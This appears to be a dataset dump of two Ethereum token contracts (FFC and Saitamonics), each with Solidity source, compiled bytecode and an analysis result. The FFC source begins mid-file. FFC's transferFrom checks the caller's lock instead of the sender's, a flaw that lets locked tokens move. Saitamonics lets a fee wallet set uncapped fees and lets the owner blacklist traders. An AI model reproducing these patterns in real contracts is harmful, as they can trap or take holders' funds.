event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)public constant returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value)public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause()public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value)public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title FFC Token
* @dev FFC is PausableToken
*/
contract FFCToken is StandardToken, Pausable {
string public constant name = "FFC";
string public constant symbol = "FFC";
uint256 public constant decimals = 18;
// lock
struct LockToken{
uint256 amount;
uint32 time;
}
struct LockTokenSet{
LockToken[] lockList;
}
mapping ( address => LockTokenSet ) addressTimeLock;
mapping ( address => bool ) lockAdminList;
event TransferWithLockEvt(address indexed from, address indexed to, uint256 value,uint256 lockValue,uint32 lockTime );
/**
* @dev Creates a new MPKToken instance
*/
constructor() public {
totalSupply = 10 * (10 ** 8) * (10 ** 18);
balances[0xC0FF6587381Ed1690baC9954f9Ace2768738BaDa] = totalSupply;
}
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[msg.sender].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)public whenNotPaused returns (bool) {
assert ( balances[_from].sub( getLockAmount( msg.sender ) ) >= _value );
return super.transferFrom(_from, _to, _value);
}
function getLockAmount( address myaddress ) public view returns ( uint256 lockSum ) {
uint256 lockAmount = 0;
for( uint32 i = 0; i < addressTimeLock[myaddress].lockList.length; i ++ ){
if( addressTimeLock[myaddress].lockList[i].time > now ){
lockAmount += addressTimeLock[myaddress].lockList[i].amount;
}
}
return lockAmount;
}
function getLockListLen( address myaddress ) public view returns ( uint256 lockAmount ){
return addressTimeLock[myaddress].lockList.length;
}
function getLockByIdx( address myaddress,uint32 idx ) public view returns ( uint256 lockAmount, uint32 lockTime ){
if( idx >= addressTimeLock[myaddress].lockList.length ){
return (0,0);
}
lockAmount = addressTimeLock[myaddress].lockList[idx].amount;
lockTime = addressTimeLock[myaddress].lockList[idx].time;
return ( lockAmount,lockTime );
}
function transferWithLock( address _to, uint256 _value,uint256 _lockValue,uint32 _lockTime )public whenNotPaused {
if( lockAdminList[msg.sender] != true ){
return;
}
assert( _lockTime > now );
assert( _lockValue > 0 && _lockValue <= _value );
transfer( _to, _value );
bool needNewLock = true;
for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){
if( addressTimeLock[_to].lockList[i].time < now ){
addressTimeLock[_to].lockList[i].time = _lockTime;
addressTimeLock[_to].lockList[i].amount = _lockValue;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime );
needNewLock = false;
break;
}
}
if( needNewLock == true ){
// add a lock
addressTimeLock[_to].lockList.length ++ ;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _lockValue;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockValue,_lockTime);
}
}
function setLockAdmin(address _to,bool canUse)public onlyOwner{
lockAdminList[_to] = canUse;
}
function canUseLock() public view returns (bool){
return lockAdminList[msg.sender];
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d85780631f49caac146101ff57806323b872dd14610214578063313ce5671461023e578063399d6465146102535780633f4ba83a1461027457806356f2f140146102895780635c975abb146102aa57806366e72baa146102bf5780636e53909a146102f157806370a08231146103175780638456cb59146103385780638da5cb5b1461034d57806395d89b4114610116578063a9059cbb1461037e578063bb6e85db146103a2578063dd62ed3e146103ea578063f2fde38b14610411575b600080fd5b34801561012257600080fd5b5061012b610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610469565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed61050b565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4610511565b34801561022057600080fd5b506101c4600160a060020a0360043581169060243516604435610528565b34801561024a57600080fd5b506101ed61058f565b34801561025f57600080fd5b506101ed600160a060020a0360043516610594565b34801561028057600080fd5b506101c461065c565b34801561029557600080fd5b506101ed600160a060020a03600435166106db565b3480156102b657600080fd5b506101c46106f6565b3480156102cb57600080fd5b506102ef600160a060020a036004351660243560443563ffffffff60643516610706565b005b3480156102fd57600080fd5b506102ef600160a060020a03600435166024351515610a05565b34801561032357600080fd5b506101ed600160a060020a0360043516610a47565b34801561034457600080fd5b506101c4610a62565b34801561035957600080fd5b50610362610ae6565b60408051600160a060020a039092168252519081900360200190f35b34801561038a57600080fd5b506101c4600160a060020a0360043516602435610af5565b3480156103ae57600080fd5b506103cc600160a060020a036004351663ffffffff60243516610b51565b6040805192835263ffffffff90911660208301528051918290030190f35b3480156103f657600080fd5b506101ed600160a060020a0360043581169060243516610c10565b34801561041d57600080fd5b506102ef600160a060020a0360043516610c3b565b60408051808201909152600381527f4646430000000000000000000000000000000000000000000000000000000000602082015281565b60008115806104995750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156104a457600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b3360009081526005602052604090205460ff165b90565b60035460009060a060020a900460ff161561054257600080fd5b8161057461054f33610594565b600160a060020a0387166000908152600160205260409020549063ffffffff610cd016565b101561057c57fe5b610587848484610ce2565b949350505050565b601281565b600080805b600160a060020a03841660009081526004602052604090205463ffffffff8216101561065557600160a060020a0384166000908152600460205260409020805442919063ffffffff84169081106105ec57fe5b600091825260209091206001600290920201015463ffffffff16111561064d57600160a060020a0384166000908152600460205260409020805463ffffffff831690811061063657fe5b906000526020600020906002020160000154820191505b600101610599565b5092915050565b600354600090600160a060020a0316331461067657600080fd5b60035460a060020a900460ff16151561068e57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b600160a060020a031660009081526004602052604090205490565b60035460a060020a900460ff1681565b600354600090819060a060020a900460ff161561072257600080fd5b3360009081526005602052604090205460ff161515600114610743576109fd565b4263ffffffff84161161075257fe5b6000841180156107625750848411155b151561076a57fe5b6107748686610af5565b5060019150600090505b600160a060020a03861660009081526004602052604090205463ffffffff821610156108e157600160a060020a0386166000908152600460205260409020805442919063ffffffff84169081106107d157fe5b600091825260209091206001600290920201015463ffffffff1610156108d957600160a060020a0386166000908152600460205260409020805484919063ffffffff841690811061081e57fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff948516179055600160a060020a0389168252600490526040902080548692841690811061086b57fe5b6000918252602091829020600290910201919091556040805187815291820186905263ffffffff85168282015251600160a060020a0388169133917f3ed6ece0c48147e5b4c6717f58c7f210f86815397761c18a9c546e77d1b781f69181900360600190a3600091506108e1565b60010161077e565b600182151514156109fd57600160a060020a03861660009081526004602052604090208054906109149060018301610eb0565b50600160a060020a03861660009081526004602052604090208054849190600019810190811061094057fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff9490941693909317909255600160a060020a03881681526004909152604090208054859190600019810190811061099757fe5b6000918252602091829020600290910201919091556040805187815291820186905263ffffffff85168282015251600160a060020a0388169133917f3ed6ece0c48147e5b4c6717f58c7f210f86815397761c18a9c546e77d1b781f69181900360600190a35b505050505050565b600354600160a060020a03163314610a1c57600080fd5b600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a03163314610a7c57600080fd5b60035460a060020a900460ff1615610a9357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b60035460009060a060020a900460ff1615610b0f57600080fd5b81610b38610b1c33610594565b336000908152600160205260409020549063ffffffff610cd016565b1015610b4057fe5b610b4a8383610df1565b9392505050565b600160a060020a038216600090815260046020526040812054819063ffffffff841610610b8357506000905080610c09565b600160a060020a0384166000908152600460205260409020805463ffffffff8516908110610bad57fe5b60009182526020808320600290920290910154600160a060020a03871683526004909152604090912080549193509063ffffffff8516908110610bec57fe5b600091825260209091206001600290920201015463ffffffff1690505b9250929050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610c5257600080fd5b600160a060020a0381161515610c6757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cdc57fe5b50900390565b600160a060020a03808416600090815260026020908152604080832033845282528083205493861683526001909152812054909190610d27908463ffffffff610ea116565b600160a060020a038086166000908152600160205260408082209390935590871681522054610d5c908463ffffffff610cd016565b600160a060020a038616600090815260016020526040902055610d85818463ffffffff610cd016565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b33600090815260016020526040812054610e11908363ffffffff610cd016565b3360009081526001602052604080822092909255600160a060020a03851681522054610e43908363ffffffff610ea116565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600082820183811015610b4a57fe5b815481835581811115610edc57600202816002028360005260206000209182019101610edc9190610ee1565b505050565b61052591905b80821115610f0a576000815560018101805463ffffffff19169055600201610ee7565b50905600a165627a7a7230582082bdf28b750a61e113c4575d3761a34b81c2e21f2c0d7d3063b6fb6673c4b9330029
|
{"success": true, "error": null, "results": {}}
| 4,249 |
0xfB1114b539F070937Da669C672119C9D92E9f70e
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Saitamonics is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 3;
uint256 private _feeAddr2 = 3;
address payable private _feeAddrWallet1 = payable(0xA2e8EBda3Ab2F67D78654b01F111D90042fFfb82);
address payable private _feeAddrWallet2 = payable(0xA2e8EBda3Ab2F67D78654b01F111D90042fFfb82);
string private constant _name = "Saitamonics";
string private constant _symbol = "SAITOMIN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600b81526020017f53616974616d6f6e696373000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534149544f4d494e000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff166000805